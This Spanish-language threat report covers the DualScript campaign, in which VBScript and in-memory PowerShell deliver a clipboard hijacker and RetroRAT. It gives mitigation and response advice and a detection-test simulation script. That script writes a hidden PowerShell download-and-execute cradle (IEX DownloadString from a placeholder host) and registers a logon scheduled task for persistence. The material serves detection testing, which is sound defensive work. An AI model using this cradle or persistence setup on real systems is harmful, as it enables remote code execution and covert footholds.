Operación DualScript: Malware PowerShell Multietapa que Ataca a Cripto y Finanzas

Resumen

El informe describe la Operación DualScript, una campaña de malware en múltiples fases que se basa en la persistencia de tareas programadas, lanzadores VBScript y cargadores de PowerShell para desplegar tanto un secuestrador de portapapeles como el troyano de acceso remoto RetroRAT. Los atacantes almacenan PowerShell malicioso en servidores externos y lo ejecutan completamente en memoria para reducir las oportunidades de detección. RetroRAT registra pulsaciones de teclas, monitorea ventanas activas en busca de palabras clave relacionadas con finanzas, y envía datos robados a través de un canal TCP C2 personalizado. La campaña está dirigida a actividades de criptomonedas y objetivos bancarios en EE.UU.

Investigación

Los analistas descubrieron tareas programadas configuradas para lanzar archivos VBScript desde rutas escribibles por el usuario, que luego ejecutaron PowerShell oculto con la política de ejecución deshabilitada. Se identificaron dos cadenas de entrega paralelas: una recuperó un script Wallet.txt para secuestrar contenidos del portapapeles de criptomonedas, mientras que la otra cargó RetroRAT directamente en la memoria. El análisis estático también expuso lógica anti-análisis, creación de mutex, registro de teclas en varios hilos, y una cadena de reconocimiento C2 codificada.

Mitigación

Los defensores deben monitorear tareas programadas sospechosas que invoquen VBScript o PowerShell con ventanas ocultas y argumentos de omisión. La detección en el punto final debe centrarse en la ejecución de PowerShell en memoria, comportamiento inusual de monitoreo del portapapeles y creación de mutex desconocidos. Las organizaciones también deberían bloquear el tráfico saliente hacia los dominios maliciosos y aplicar controles estrictos de ejecución para PowerShell y VBScript.

Respuesta

Si se detecta esta actividad, aísle el host afectado, desactive las tareas programadas maliciosas y elimine cualquier artefacto persistente de VBScript o PowerShell. Realice un barrido forense completo para el payload de RetroRAT, datos de pulsaciones de teclas capturados y tráfico C2 relacionado. Restablezca la información de la billetera de criptomonedas expuesta y cambie las credenciales bancarias. Restaure los sistemas afectados desde copias de seguridad limpias y bloquee los dominios e IPs identificados en la capa de red.

Ejecución de Simulación

Prerrequisito: El Chequeo Previo de Telemetría & Baseline debe haber pasado.

Racionalización: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.

• Narrativa del Ataque & Comandos:
  El atacante primeramente prepara un VBScript (dual.vbs) en el directorio de perfil del usuario. El objetivo del script es lanzar PowerShell con las banderas -WindowStyle Hidden and -ExecutionPolicy Bypass, luego descargar y ejecutar una carga útil remota (simulada con un simple Write-Host). Para lograr persistencia, el atacante registra una tarea programada (DualScriptPersist) que ejecuta el VBScript al inicio de sesión. Cada paso produce las dos entradas de EventID 4104 correlacionadas que busca la regla.

• Script de Prueba de Regresión:

  # -------------------------------------------------
  # Simulación de Ataque DualScript – PowerShell
  # -------------------------------------------------
  # 1️⃣ Crear VBScript malicioso en una ruta escribible por el usuario
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # URL de marcador de posición
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
  
  # 2️⃣ Registrar una tarea programada que ejecute el VBScript al inicio de sesión de cada usuario
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ Forzar la tarea a ejecutarse inmediatamente (activar detección)
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] Simulación de DualScript ejecutada. Verifique su SIEM para alertas."
  # -------------------------------------------------

• Comandos de Limpieza:

  # -------------------------------------------------
  # Limpieza de Simulación DualScript
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # Eliminar tarea programada
  schtasks.exe /Delete /TN $taskName /F
  
  # Eliminar el archivo VBScript
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Limpieza completada."
  # -------------------------------------------------